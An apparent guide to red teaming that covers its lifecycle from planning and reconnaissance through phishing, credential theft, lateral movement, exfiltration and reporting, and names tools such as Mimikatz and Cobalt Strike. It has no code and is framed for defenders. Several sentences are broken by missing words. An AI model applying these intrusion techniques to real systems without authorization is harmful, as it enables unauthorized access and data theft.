In today’s high-stakes cybersecurity landscape, red teaming has emerged as a crucial practice for organizations looking to bolster their defenses against advanced threats. Red teaming is a full-scope, real-world attack simulation by ethical hackers (“red teamers”) who emulate adversaries to test an organization’s security across people, processes, and technology. Unlike routine penetration tests or vulnerability scans, red team exercises are goal-oriented and covert, probing not just for technical weaknesses but also gaps in detection and response. The result is a candid assessment of how your security holds up against a skilled, persistent attacker.

Security executives turning to red team engagements to proactively uncover unknown vulnerabilities and strengthen their cyber resilience. In fact, 68% of companies performing red team exercises believe they yield more valuable security insights than blue team (defensive) drills. By seeing your organization through the eyes of an attacker, you can identify weaknesses before malicious actors do, and drive improvements in your defenses. This comprehensive guide dives deep into red teaming—covering methodologies, tools, case studies, best practices, and industry-specific insights—to help you make the most of this advanced security practice. We’ll explore how to integrate red teaming with frameworks like MITRE ATT&CK, how to build or engage a red team (whether internal or third-party), and how red teaming enhances compliance, detection capabilities, cyber resilience, and overall security maturity.

Why Red Teaming Matters: Cyber threats are more sophisticated than ever, ranging from financially motivated ransomware gangs to state-sponsored APT groups. Traditional security assessments often operate in silos or on known vulnerabilities, whereas real attackers are creative and unpredictable. Red teaming provides a holistic, adversary-simulation that tests your organization’s readiness against multi-faceted attacks – including technical exploits, social engineering, and eve exercises reveal not only if an attacker can breach your systems, but also how far they could go undetected and how effectively your team can respond. The insights from red teaming can be sobering: it’s not uncommon for red teams to achieve domain administrator privileges or exfiltrate sensitive data without triggering alarms, especially in organizations new to this level of testing. Such findings provide a “wake-up call,” highlighting gaps that must be addressed to prevent a real breach.

Despite its benefits, red teaming must be approached carefully and professionally. Simulated attacks carry inherent risks – if executed improperly, they can disrupt business or even creaties for real attackers. Strict rules of engagement, legal authorizations, and fail-safes are paramount. A famous example underscoring this point occurred in 2019, when an authorized red team exercise went awry: two contracted red teamers were arrested by local police while testing physical security at an Iowa courthouse due to miscommunication. This incident, while eventually resolved, highlights the need for clarity, coordination, and trust in any red team engagement. Throughout this guide, we’ll not only examine the offensive techniques and strategies used in red teaming, but also the governance and best practices that ensure these exercises are safe and beneficial.

Whether you are building an internal red team from scratch or planning to hire outside experts for a one-time assessment, this article will serve as your in-depth handbook. We’ll start by breaking down the red team methodologies and lifecycle—the step-by-step phases of a typical engagement—followed by a look at how frameworks like MITRE ATT&CK enrich red team operations. We’ll then survey key tools and techniques in the red team arsenal, from stealthy malware command-and-control frameworks to social engineering toolkits. Real-world case studies will illustrate red teaming in action (and the lessons learned), and we’ll discuss how to effectively build and manage red team programs, comparing the merits of internal teams versus third-party consultants.

Later sections zoom out to industry perspectives: a global view of red teaming adoption, then a focus on the financial sector, and finally a dive into Southeast Asia’s growing emphasis on red team exercises. Financial services, in particular, have pioneered intelligence-led red teaming frameworks (CBEST, TIBER, etc.) to harden critical infrastructure, and Southeast Asian regulators are increasingly mandating such exercises to combat rising cyber threats in the region. We’ll examine these developments and what they mean for organizations.

Finally, we’ll tie it all together by exploring how red teaming drives improvements in compliance, threat detection, incident response resilience, and overall security maturity. By the end of this guide, you should have a thorough understanding of red teaming and actionable insights on using it to fortify your organization’s security posture. So put on your adversary mindset, and let’s delve into the world of red teaming.

Red Teaming vs. Penetration Testing: Understanding the Difference

Before we map out the red team lifecycle, it’s important to distinguish red teaming from traditional penetration testing. Both involve ethical hackers attacking your systems, but their scope, approach, and objectives differ significantly:

• Scope and Objective: A penetration test (or “pen test”) is usually narrower in scope – often a single application, network segment, or compliance check – and aims to find as many specific vulnerabilities as possible within a limited time. Red teaming, by contrast, is broad and goal-oriented: the red team has a specific mission (e.g. gain domain admin, steal customer data, access a crown-jewel system) and can attack any vector (digital, human, physical) to achieve it. Instead of cataloguing every minor bug, the red team focuses on the paths that lead to critical impact.
• Methodology: Pen testers typically follow a checklist of known vulnerabilities and use openly known exploits, often with the defenders aware a test is underway. Red teamers operate more like real attackers, blending into normal traffic and behavior, and adapting on the fly. A red team engagement is longer-term and stealthy, sometimes running for weeks or months in multiple stages, whereas a pen test might last a few days on a defined asset. As one source puts it, pen tests are often time-boxed exercises (sometimes just a day or two per system), whereas red teaming is a “full spectrum” simulated attack campaign.
• Tactics and Techniques: Because red teaming isn’t constrained to a list of known CVEs, red teamers employ a wide array of tactics: spear-phishing employees, bypassing physical building controls, social engineering helpdesk staff, exploiting configuration weaknesses, living-off-the-land with legitimate admin tools, and so on. They might leverage zero-days or develop custom malware if needed. In contrast, pen tests usually stick to technical exploits (e.g. missing patches, SQL injection) and avoid areas like social engineering unless explicitly in scope. Red teaming is essentially adversary emulation – mimicking how an advanced persistent threat (APT) would combine techniques to achieve a mission.
• Defender Awareness: In a pen test, the IT team often knows when and what is being tested, and may even assist or whitelist the testers’ activities to some extent. A red team exercise is typically “blind” from the defender’s perspective: aside from a few senior stakeholders (often called the “white team” or trusted agents), the organization’s security staff is not informed about the ongoing simulation. This tests not just technical controls, but the detection and responsecapabilities of the blue team under realistic conditions. A recent study found that 62% of blue teams struggled to stop red team attackers during simulations – highlighting why an unbiased red team test can reveal gaps that an announced pen test might not.
• Outcome: Both pen tests and red team engagements culminate in a report, but their deliverables differ. A pen test report itemizes vulnerabilities and misconfigurations with severity ratings, similar to a bug report list. A red team report is more of a story of the attack, detailing the attack paths used, how controls were bypassed, what objectives were reached, and how long (if at all) it took for defenders to notice. Importantly, red team results often map to improvements in processes: e.g. “X was not detected by the SIEM, indicating a logging gap” or “social engineering succeeded, indicating a need for training and MFA,” etc. It’s a richer narrative that informs strategic defense enhancements, not just patching routines.

In summary, penetration testing is one component of security testing focused on finding known weaknesses, whereas **red teaming is a holistic assessment of your organization’s ability to prevent, detect, and respond to a rests are about checking the locks on the windows and doors; red teaming is about seeing if an intruder can find a way in and what they can do once inside despite your locks and alarms. Both are valuable, but red teaming provides a higher level of assurance for organizations with more mature security programs. In fact, many standards now suggest using pen tests to fix basic issues first, and then employing red teams to evaluate overall resilience once the security baseline is in place.

With the differences established, let’s delve into the meat of red teaming: the methodology and lifecycle of a red team operation, from preparation all the way to post-engagement analysis.

The Red Team Engagement Lifecycle and Methodology

Red team operations are often structured as a multi-phase lifecycle that mirrors the stages of a real cyber intrusion, extended as needed to meet the engagement’s objectives. While different organizations and frameworks may define phases slightly differently, the core idea is the same: start outside the target, find a way in, escalate access, achieve goals, and (in a test scenario) exit without a trace. One way to break down a red team exercise is in five broad phases – Planning, Reconnaissance, Attack/Exploitation, Reporting, and Remediation. However, for a deeper technical understanding, it helps to expand this into more granular steps aligned with the attacker’s kill chain. For example, Yaksas Security describes a comprehensive nine-step red team attack lifecycle: Reconnaissance, Initial Compromise, Privilege Escalation, Establishing Persistence, Internal Reconnaissance, Lateral Movement, Data Targeting/Analysis, Exfiltration, and Covering Tracks. Below, we’ll walk through the typical flow of a red team engagement, combining these perspectives and highlighting key activities in each phase.

Planning and Preparation (Objectives and Rules of Engagement)

Every successful red team exercise begins with meticulous planning. In this initial phase, the scope and objectives of the engagement are defined, and the rules of engagement (ROE) are agreed upon. The planning stage is usually a collaboration between the red team leadership and the organization’s stakeholders (often a CISO or security manager acting as sponsor of the test). Key decisions include: what are the critical “crown jewel” assets or processes to evaluate, what actions are off-limits (for safety or legal reasons), and what constitutes success for the red team (the “flags” or goals).

Threat modeling and intelligence gathering also feed into this phase. Many red team engagements today are threat intelligence-led, meaning they use real threat actor TTPs (Tactics, Techniques, Procedures) as inspiration. For ex the red team to emulate tactics of a known financial cybercrime group or nation-state APT that targets banks. This ensures the test is realistic and focused on relevant threats. If available, threat intel reports about likely attackers, their favored techniques (as catalogued in frameworks like MITRE ATT&CK), and any recent incidents in the industry are used to craft the scenario. The result of this planning is often a scenario plan or attack plan that outlines how the red team intends to achieve the objective, while remaining flexible to adapt as new opportunities arise.

During planning, specific constraints are set to protect the business. This includes defining testing windows if certain aggressive actions are only allowed during off-hours, identifying any systems that are out of scope (perha that should not be touched), and establishing communication protocols. The trusted agents or “white team” are designated – these are typically one or two people inside the organization who know about the test and can act as liaisons or emergency stop contacts. For instance, the security director might be aware and can secretly monitor the red team’s progress to ensure things don’t get out of hand, but they won’t intervene unless needed. In some engagements, a “white team” member from the blue team side is present as an observer to collect logs and evidence quietly, which will be invaluable during the post-engagement debrief. This person can see both sides (attacker actions and defender telemetry) to help reconstruct what happened and ensure no data is lost (e.g. they might secure log files before they roll over). This technique helps “keep the rollercoaster on the rails,” as one expert put it.

The output of the planning phase is a clear rules of engagement document and green light to proceed. Everyone involved agrees on when the test will start and end, who is authorized to do what, and how to handle any incidents or discoveries during the test (e.g. if the red team finds a serious vulnerability that could cause harm, should they exploit it or report immediately?). With this groundwork laid and all permissions in place, the red team can move to the next phase.

Reconnaissance (Information Gathering)

The first active phase of the operation is reconnaissance – quietly gathering as much information as possible about the target environment to identify potential attack vectors. This often begins externally, without direct interaction with the target’s systems (to avoid detection). Red teams use both passive and active recon techniques:

• Open-Source Intelligence (OSINT): Passive reconnaissance involves scouring publicly available information about the organization and its employees. Red teamers will harvest data from company websites, news articles, job postings (which may reveal technologies in use), WHOIS records, leaked credential databases, social media profiles of employees, and more. The goal is to map out the target’s digital footprint and even gather personal details that could be leveraged in social engineering. For example, finding employee email formats, names of key IT staff, technologies in use (e.g. a LinkedIn profile of an IT engineer mentioning Cisco, AWS, etc.), or leaked passwords from previous breaches can all be extremely useful. One real-world example: Before a red team even sends a phishing email, they might discover that an employee’s credentials were exposed in a past data breach and try those for VPN or email access – sometimes yielding immediate entry if password reuse isn’t mitigated. OSINT also includes identifying third-party providers, subdomains, and any clues to the security posture.
• External Network Scanning: Active reconnaissance might involve scanning the organization’s external facing assets (web servers, VPN gateways, email portals) for open ports, services, and potential vulnerabilities. This is similar to what a pen test would do, using tools like Nmap for port scanning and banner grabbing to see what software versions are running. The red team looks for weak points such as an outdated VPN appliance, an open database, or misconfigured cloud services. They may also enumerate DNS records, test the email system (e.g. does it have filters for phishing?), and identify any externally accessible applications. In financial sector red team exercises, it’s common to include discovering internet-facing weaknesses – for instance, one bank’s red team engagement found a vulnerable web application that could be exploited for access.
• Social Reconnaissance: Red teams often perform recon on the human element as well. They might research employees on professional networks (who can be targets for phishing), look up executives (for whaling emails), or even call the company’s public phone line to glean info (impersonating a survey, etc.). On the physical side, if that’s in scope, they might do a drive-by of the office location to observe security guards, badge systems, or tailgating opportunities. All this is to prepare potential social engineering angles.

The recon phase can be extensive and may quietly continue throughout the engagement (even after initial access, the red team will perform internal reconnaissance once inside, which we’ll cover later). A well-executed recon can dramatically improve the chances of success. For example, gathering a list of technologies and likely user accounts might reveal an obvious weak spot (say, an unpatched server exposed online). Or OSINT might uncover an old credential that gets a foothold. As one guide notes, the recon phase’s objective is to “collect detailed information about the targets – people, processes, and locations”, which will inform the subsequent attacks.

By the end of reconnaissance, the red team will have compiled a map of potential attack vectors: maybe a shortlist of vulnerable systems to exploit, a set of employees to target with phishing (along with crafted lures likely to entice them), and any other openings. The team prioritizes these opportunities and moves on to the initial attack.

Initial Access (Exploitation and Entry)

Initial access is the first “break-in” point – the moment the red team establishes a foothold inside the target environment. Depending on the scenario and what recon uncovered, this could take many forms. Red teams often pursue multiple paths in parallel to improve their odds, such as a combination of technical exploits and social engineering. Here are common initial access techniques:

• Social Engineering & Phishing: People are often the weakest link, so phishing is a favored initial access method. The red team crafts convincing emails or messages that trick users into either divulging credentials or executing malicious payloads. For instance, a red team email might masquerade as an IT helpdesk message asking users to log in to a fake portal (to capture passwords), or an urgent HR document that, when opened, runs malware. Advanced attacks use techniques like spear phishing (targeted at specific individuals with personalized content) and may employ a tool like Evilginx2 to intercept multi-factor tokens by proxying a legitimate login. Another ploy is calling employees (vishing) or using messaging apps. In one case study at a financial institution, a red team sent phishing emails impersonating the bank’s IT department, resulting in 15% of employees clicking the malicious link – enough for the team to compromise several email accounts. This demonstrated how even well-trained staff can be susceptible to a carefully crafted lure, and it yielded valid credentials which the red team used to get inside.
• Credential Stuffing or Password Spraying: If the red team obtained employee passwords via OSINT (from leaked databases or simple guesswork on common passwords), they might attempt to use those on accessible services like email, VPN, or cloud logins. Password spraying (trying common passwords against many accounts) is another low-noise technique to breach accounts with weak credentials. Many real attackers use this against Office 365/Azure AD, for example. A red team often emulates this to see if any accounts have poor passwords or if MFA is not enforced. Where MFA (multi-factor authentication) is absent, stolen credentials can be a one-step path in. (Red teams also sometimes find ways around MFA – e.g. using phishing proxies or exploiting fallback mechanisms.)
• Exploiting Vulnerabilities: If reconnaissance identified a vulnerable server or application, the red team can exploit it to gain a foothold. This might involve using public exploit code (for instance, a known RCE in an unpatched web app) or even developing a custom exploit if the engagement allows. Common targets are externally facing web apps, VPN appliances, or misconfigured cloud services (like open S3 buckets). For example, if a web application has an SQL injection or file upload flaw, the red team could leverage it to drop a web shell – a basic malicious script that grants remote control of the server. In a 2024 red team assessment of a U.S. critical infrastructure org, CISA’s red team actually found a web shell left behind by a previous test and reused it to gain initial access – a somewhat ironic scenario that nonetheless underscores how any forgotten foothold can be exploited. Once in, they moved from the demilitarized zone (DMZ) web server into the internal network.
• Physical Intrusion: If physical security testing is in scope, the red team might attempt to breach the facility to access internal network ports or unattended computers. For example, tailgating behind an employee into the office, or entering as a fake visitor. Once inside, they could plug a device into the network (a rogue wireless access point or a dropbox computer) to create a backdoor. In one exercise, a red team posing as visitors managed to roam a hospital’s restricted areas unchallenged, finding sensitive data left in the open. Physical breaches are not always part of engagements (due to higher risk), but when they are, they test controls like badge systems, guard procedures, and employee vigilance.

However initial access is achieved, the red team’s priority is to establish a stable foothold. This often means deploying a lightweight malware or remote access tool on a compromised system. Commercial red team operations commonly use sophisticated Command-and-Control (C2) frameworks for this purpose, which give them covert remote access. Examples include Cobalt Strike, a popular post-exploitation toolkit that plants “beacons” on victim machines for persistent control, or newer alternatives like Brute Ratel, Sliver, and others. Cobalt Strike has been a go-to for years (so widely used that many threat actors abuse cracked copies of it), while Brute Ratel markets itself as a stealthier C2 designed to evade Endpoint Detection and Response (EDR) systems. The red team’s implant will typically communicate out to an Internet-based server under their control (the C2 server), establishing an encrypted channel (e.g. over HTTPS or DNS) that blends in with normal traffic. This gives the red team interactive access to the compromised machine from anywhere, without raising suspicion.

At this stage, the red team has one foot in the door – say, a low-privilege user’s workstation via phishing, or a web server they’ve exploited. The next steps involve expanding that access into control over the wider network. A crucial concept of red teaming is that the initial foothold is rarely the end goal; it’s usually just the beachhead from which to launch further attacks inside the network (much like real intruders do). So now the engagement moves into the post-exploitation phase.

Post-Exploitation: Privilege Escalation, Lateral Movement, and Persistence

Once initial access is obtained, the red team shifts into post-exploitation mode, operating from within the target’s environment. The objectives here are to escalate privileges (gain higher-level access on compromised systems), move laterally to other systems, and ultimately reach the crown jewels defined in the engagement goals. Simultaneously, the red team will take steps to remain stealthy and persistent within the environment, avoiding detection by the blue team for as long as possible. Let’s break down the key components of post-exploitation:

• Privilege Escalation: Often the initial access yields only user-level privileges, which can be restrictive. Privilege escalation is about acquiring administrator or root privileges on the compromised host. Red teamers will enumerate the system for misconfigurations or vulnerabilities that allow elevation. Common techniques on Windows include exploiting OS vulnerabilities (if unpatched), abusing misconfigured services, or simply using credential theft tools. A quintessential tool here is Mimikatz, which can extract plaintext passwords and hashes from memory on Windows systems. If the phished user was logged in with a domain account that had recently entered admin credentials, Mimikatz might retrieve those, instantly giving the red team higher access (e.g. local admin or even domain admin tokens). Other utilities like winPEAS and Seatbelt audit the system for privilege escalation paths (like weak folder permissions, vulnerable drivers, etc.). On Linux, techniques might include exploiting Sudo configurations or known kernel bugs. The goal is to elevate access on at least one machine. Many red team playbooks assume that user workstations will eventually yield some admin credentials or secrets that allow escalation – for example, finding cached domain credentials or SSH keys.
• Establishing Persistence: Real attackers often establish persistent backdoors to survive reboots or credential changes, and red teams emulate this as appropriate. Persistence means setting up a way to regain access even if the initial access vector closes. The red team might install additional backdoor accounts, schedule tasks, or deploy secondary implants on multiple systems. For instance, they could create a new local user with admin rights, or use registry run keys/scheduled tasks on Windows to auto-run their beacon malware. However, red teams must balance persistence with stealth; too many backdoors can increase the chance of detection. Often, maintaining the C2 beacon is itself a form of persistence – if it runs with high privileges and automatically reconnects on reboot, the team maintains access. Yaksas Security notes that usually “each time a new host is compromised,” the attacker installs a persistence mechanism like a C2 agent, ensuring they don’t lose that node if network conditions change. In engagements, persistence might be limited by rules (for example, not leaving anything that remains after the test without removal), but during the test it’s useful.
• Internal Reconnaissance (Discovery): Now that the red team is inside, they perform internal recon to understand the network from the perspective of their foothold. This includes mapping the internal network (enumerating IP ranges, domain information, trust relationships, etc.), identifying key systems (like domain controllers, file servers, databases), and scanning for other targets. Tools like BloodHound are popular for this phase – BloodHound uses graph analytics to map Active Directory trusts and find attack paths to high-value accounts. A red teamer might run a data collector (SharpHound) on the compromised machine, which gathers AD information (user groups, permissions, sessions, etc.) to pinpoint the fastest route to domain admin. Internally, the team can now likely query systems with far less restriction than from outside, so they might also sniff network traffic, probe internal websites or shares, and generally “live off the land.” For example, if they compromised an IT staff machine, they might find saved passwords or VPN configs on it that lead elsewhere. Every new bit of access is leveraged to gain more. Internal recon is often repeated cyclically: each time the red team compromises a new host or account, they will enumerate from that vantage point, revealing yet more of the network.
• Lateral Movement: Using the information gathered, the red team will pivot and move laterally through the network – i.e. compromise additional systems and accounts to widen their foothold. This can be done through several techniques:
  • Credential reuse: If the team has obtained password hashes or cleartext creds (via Mimikatz or finding in config files), they will try them on other machines. Many networks suffer from credential reuse or shared local admin passwords, enabling a pass-the-hash or pass-the-ticket attack (using stolen credentials to authenticate on other hosts without cracking them). Tools like Impacket (e.g. psexec.py or wmiexec.py) allow executing commands on remote Windows systems if you have a credential. CrackMapExec (CME) is another post-exploitation swiss-army knife that automates checking creds across many machines for lateral move opportunities.
  • Exploiting trust relationships: If the compromised user has access to network shares or RDP into other systems, the red team can use that to jump. Compromising a system that many others trust (like a software deployment server) can serve as a pivot to push malware to more hosts.
  • • Active Directory attacks: In a Windows domain environment, red teams often perform attacks like Kerberoasting(extracting service account tickets and cracking them offline) or abusing delegation settings to escalate privileges. Tools such as Rubeus help with Kerberos abuse, and Responder can exploit LLMNR/NBNS to capture hashes from other users on the network. Another powerful technique is forging Kerberos tickets (Golden Ticket attacks) once domain admin is obtained, but that typically comes later.
  • Living-off-the-land: The team might use legitimate admin tools to blend in – for example, using PowerShell or WMI for remote command execution, rather than obvious malware. If they have domain admin cred, simply using Remote Desktop or Windows administrative tools to access servers is an option (though that’s noisier).

Lateral movement is often where red teams and blue teams end up playing cat-and-mouse. As the red team touches more systems, there are more chances for a detection (say, an EDR agent might spot a suspicious process or a user might notice a slow PC). Skilled red teamers carefully pace their actions and may strategically “idle” at times to appear normal. They might also clear logs after certain actions or use defense evasion techniques (like executing code from memory only, renaming their tools to mimic benign processes, etc.) to avoid leaving obvious traces.

At this point, if all goes well for the red team, they progressively compromise higher privileges and more sensitive systems. A common intermediate goal is to gain control of the Active Directory domain controllers (for Windows environments) because that effectively grants control over the entire Windows network. Achieving domain admin privileges is often considered “game over” from a defensive standpoint, as the attacker can then create accounts, disable security tools, and access most data. Many red team engagements indeed culminate in domain admin access – it’s a dramatic demonstration that the team “owns” the network. For instance, CISA’s red team fully compromised the target organization’s Windows domain and critical systems in their assessment, largely because the organization lacked monitoring to detect the lateral movements. The blue team in that case only caught some initial activity but didn’t act in time, allowing the red team to snowball their access.

• Data Access and “Actions on Objectives”: With high-level access achieved, the red team can perform the mission-specific goals that were set in the planning phase. This might be accessing sensitive databases, reading confidential files, or simulating financial fraud transactions. Essentially, this is the “attack success” phase from the adversary perspective. For example, if the objective was to see if customer data could be exfiltrated, the red team having domain admin can now get into the database server or file share where that data resides. Another example: in one case study, the red team, after lateral moves, found that some user accounts reused passwords across systems – allowing them to pivot from a low-privileged segment into more sensitive network segments. They discovered significant data (like personal identifiable information and financial records) and demonstrated the risk of such access. Achieving the objectives provides concrete evidence of impact, which is immensely valuable for leadership to understand the risk.
• Covering Tracks: A real attacker, once done, would attempt to cover their tracks – removing evidence of their presence by deleting logs, removing tools, and backdoors. In red team exercises, covering tracks is sometimes partially done to test if forensic evidence can be noticed, but typically the team will maintain detailed logs of their activity for reporting. Nonetheless, they may clean up obvious footprints during the engagement to remain stealthy. For example, they might remove the phishing emails from mailboxes (so users can’t forward them to IT), or delete Windows Event Logs related to their activities to avoid detection. Yaksas lists “deleting footprints” as the final step – wiping files, logs, and clearing any persistent access – once objectives are met. In an engagement, the actual cleanup at the end is done in coordination with the white team to ensure nothing harmful remains.

Throughout post-exploitation, one of the main objectives (aside from reaching the target data or system) is to avoid detection by the organization’s security tools and team. This is a big part of what differentiates red teaming from a loud vulnerability assessment. The red team will likely test the organization’s detection capabilities implicitly: every time they take an action, they observe whether an alert is generated or any response is triggered. In some cases, they might intentionally trigger a benign alert after achieving their goal, just to test the incident response (more on that in a later section on detection and resilience). But ideally, they try to remain undetected until they’ve accomplished their mission.

For example, consider a red team that has just escalated to domain admin. At this point, they may have the ability to do almost anything – but if they suddenly push malware to hundreds of machines or start running password crackers on a domain controller, the SOC (Security Operations Center) might notice unusual behavior. So they might proceed to carefully gather the evidence needed (say, a limited dataset exfiltration) and then stop short of noisy actions. Some red teams, after attaining the objective, will deliberately do something noticeable (like create a bogus file or trip an alert) just to see if the blue team reacts, thereby testing the response portion of the defense. This can be coordinated so it doesn’t ruin the stealth aspect before objectives are reached.

In summary, the post-exploitation phase is where the red team demonstrates impact – moving from an initial beachhead to widespread compromise or deep access. It’s often the lengthiest part of an engagement, involving creativity, patience, and careful maneuvering to outsmart the defenders. By the end of it, the red team will have a story of how they went from point A to point B to Z, which becomes the core of their report.

Exfiltration and Attack Completion

If one of the engagement goals is to simulate data theft (which is a common scenario), the red team will also practice exfiltration – extracting data out of the target environment without detection. Even if it’s not explicitly required, many red teams like to show the ease with which sensitive data can leave the network once they have access, as this drives home the impact of a breach.

Exfiltration techniques can range from simple to advanced: the team might compress and encrypt files and send them out over their C2 channel, or use an alternative channel like uploading to a cloud storage service or a drop site. Some creative methods include splitting data into small chunks and hiding it in DNS queries (DNS tunneling) or HTTP requests that look like normal traffic. In one example, after phishing a user and obtaining access, a red team’s malware logged keystrokes and took screenshots, then exfiltrated that data in real-time over its covert channel. This demonstrated how quickly an attacker could siphon valuable information (like passwords or confidential info on a screen) without needing to transfer large files.

The success criteria for exfiltration is that it goes undetected by data loss prevention (DLP) or network monitoring. If large downloads or outside connections are monitored, the red team will try to stay under those thresholds. For instance, instead of exfiltrating an entire database of a million records (which might raise eyebrows due to size), they might extract a sample of a few hundred records that contain PII, just to prove they could take data. The idea is to simulate the act in a representative way, not necessarily steal everything (after all, this is a test and they don’t actually want to harm the business or overload their own channels).

Once the red team has accomplished their mission and (optionally) exfiltrated proof data, they may perform a bit of housecleaning as mentioned: removing any persistent access they established and ensuring they leave the systems in a stable state. They’ll coordinate with the white team on any persistence mechanisms so those can be taken out at the end. It’s critical that when the exercise is over, the organization is not left in a weakened security state (for example, any accounts created are disabled, any changed passwords are reset, any devices plugged in are removed).

At this stage, the active phase of the red team operation concludes. The testers have gathered a trove of information about vulnerabilities, paths taken, and possibly logs of where detection failed or succeeded. Equally importantly, the blue team (unbeknownst to them in real-time) has been put through a realistic attack scenario, and the outcome of how well they detected or responded will be analyzed. Now it’s time to document everything and present the findings.

Reporting and Debrief (Analysis and Remediation Planning)

The final phase of the red team engagement is reporting, debriefing, and remediation. This is where the red team steps out of the shadows and reveals what they did, how far they got, and what was learned. For maximum value, the report should not only detail the findings but also guide the organization on fixing the identified weaknesses and improving for the future. Here’s what typically happens:

• Comprehensive Report: The red team prepares a detailed report that narrates the engagement from start to finish. It usually starts with an executive summary (high-level outcomes in business risk terms: e.g. “The red team was able to obtain domain administrator access and retrieve 10,000 customer records, evading detection for 3 weeks”), followed by a technical narrative of their attack path step by step. Each key step (initial access, major privilege escalation, key systems compromised, etc.) will be described, often with timestamps and screenshots/log excerpts as evidence. The report will highlight which vulnerabilities or security gaps enabled each step. For example, it might note “Phishing email bypassed email filters – no SPF/DKIM or user training allowed click-through” or “Insecure local admin password re-use allowed lateral movement from Workstation A to Server B”.

Importantly, the report should map findings to specific recommendations. Many red team reports include a table of issues and fixes, not unlike a pen test report but at a higher level of context. For instance: “Finding: Lack of network segmentation allowed an employee workstation compromise to reach the crown-jewel database. Recommendation: Implement network segmentation to isolate critical servers and enforce access controls.” Or “Finding: Endpoint detection did not alert on privilege escalation techniques used. Recommendation: Deploy advanced EDR rules for credential dumping behaviors (e.g., detecting Mimikatz usage) and ensure security monitoring of domain controller events.”

• MITRE ATT&CK Mapping: A modern best practice is to map the red team’s tactics and techniques to the MITRE ATT&CK framework. This provides a structured view of which attack techniques were used and which were successful or not. It helps the defenders see, for example, that the red team executed techniques in the Privilege Escalation tactic (like Credential Dumping – T1003) or Defense Evasion tactic (like Obfuscate Files or Information – T1027), etc., and whether these were detected. Mapping to MITRE ATT&CK also helps in comparing the exercise to real threat actors. If the engagement was emulating, say, “APT29,” the report could show which of APT29’s known techniques (per ATT&CK) were replicated. ATT&CK provides a common language for this discussion. Red teams use it as a “menu” of possible TTPs to ensure comprehensive coverage, and blue teams use it as a “scorecard” to measure defense coverage. For example, if the red team used 10 different ATT&CK techniques and only 3 were detected, that highlights coverage gaps in the other 7 that can be addressed.
• Debrief Meeting: Typically, the red team will hold a formal debrief session with the organization’s stakeholders, including the blue team (SOC/IR team), management, and any relevant IT owners. During this meeting, the red team walks through their attack step by step, often correlating with the timeline of the real-world exercise. This is an incredibly insightful process for the defender team: it’s the moment the “aha!” connections are made (e.g., “So that odd server error on Monday was actually you guys exploiting our server!”). The blue team can ask questions like “How did you get past this control?” or “Did you try X and did we catch it?” It becomes a learning opportunity on both sides. In many cases, this is effectively a purple team moment – red and blue together analyzing what worked and what didn’t. For instance, if the SOC did detect one of the later steps and responded, they can discuss that. Or, if the red team avoided certain controls because they were strong, that’s good feedback too. The presence of logs or a white team observer can enrich this discussion with exact details.
• Remediation and Follow-up: The ultimate purpose of a red team engagement is not to “score points” against the blue team, but to improve the organization’s security. Therefore, a crucial part of reporting is outlining a remediation plan. This plan prioritizes the fixes and enhancements needed. Some fixes are tactical: patch this server, change these passwords, implement MFA on that VPN, improve spam filtering, etc. Other fixes are strategic: develop an incident response playbook for intrusions, conduct security awareness training, tighten network architecture (segmentation, least privilege), invest in better monitoring tools, etc. The findings from the red team should directly feed into the organization’s security improvement roadmap. In regulated industries, the report may also be shared with regulators or auditors as evidence of testing and to validate that the company is addressing the findings (more on compliance later).
• Metrics and Lessons: Many organizations use red team results as benchmarks for their security maturity. Metrics like “Time to Detect” (how long did it take for the attack to be noticed, if at all) and “Time to Respond” (if noticed, how long to contain) are vital. If the red team was not detected at all until the post-engagement reveal, that’s a clear indicator that detection capabilities need improvement. If they were detected but perhaps misidentified or not escalated, that’s a process issue to fix. It’s often said that a red team test is not a pass/fail exercise but a learning exercise. The best outcome is not that the red team failed to get in (in truth, a skilled red team will almost always find a way in given enough time) but that the organization learns where its defenses held and where they didn’t, and uses that to get better. Leadership should foster a culture of seeing the red team results as constructive feedback, not an embarrassment or a victory/defeat scenario.

After reporting, some organizations immediately kick off remediation efforts and even plan follow-up validation. For example, they might fix critical issues and then have the red team or internal team re-test those specific vectors to confirm closure. Additionally, red team exercises often highlight the need for ongoing collaboration between offensive and defensive teams – which paves the way for purple teaming (where red and blue work side-by-side on testing and tuning in a continuous manner). If an internal red team was involved, they’ll likely be part of helping implement the fixes or at least advising on them, since they now intimately know the weaknesses. If an external team was used, the organization might schedule a re-test in a year or do smaller targeted red team exercises in the interim to ensure progress.

Finally, the engagement is formally closed, usually with all evidence handled properly (some data might be sensitive – e.g., the red team may have collected actual employee passwords or personal data during the test; procedures must ensure this is protected or destroyed according to agreement). The red team removes any remaining backdoors (with verification by the defenders). What remains is the collective knowledge gained and a stronger security posture moving forward, if the lessons are acted upon.

In summary, the reporting and remediation phase is where the value of red teaming is realized. A red team operation is only as good as the improvements it instigates. By thoroughly documenting how the “attack” unfolded and working jointly with the defenders to address the gaps, a red team engagement can significantly uplift an organization’s ability to handle real threats. Next, we will explore how leveraging frameworks like MITRE ATT&CK during planning and reporting can enhance this process, and then we’ll survey the specialized tools and techniques that red teams use under the hood.

Integrating Red Teaming with the MITRE ATT&CK Framework

One of the most powerful ways to plan, execute, and evaluate red team operations today is by using the MITRE ATT&CK framework. MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a globally recognized knowledge base of cyber adversary behavior, categorized by tactics (the adversary’s goals or phases) and techniques (specific methods to achieve those goals). In essence, ATT&CK provides a common language for describing threats, and red teams have eagerly adopted it as a foundation for adversary emulation.

Here’s how MITRE ATT&CK plays a role in red teaming:

• Threat Modeling and Scenario Design: During the planning phase, if the organization wants to simulate a particular threat (say a nation-state APT group or a ransomware actor), MITRE ATT&CK is invaluable. Each known threat group in ATT&CK has a profile of techniques they have used. Red teams can pick and choose techniques from those profiles to build their game plan. For example, if emulating a ransomware group, the red team might focus on techniques like phishing for initial access (T1566), disabling security software (T1562), data encrypted for impact (T1486), etc., all of which are defined in ATT&CK. This ensures the red team operations reflect real adversary behaviors rather than arbitrary choices. ATT&CK can be thought of as a “menu of TTPs” available to an attacker. By referencing this menu, red teamers ensure comprehensive coverage of possible actions and avoid tunnel vision. It also aids in communicating the plan to stakeholders in a standardized way.
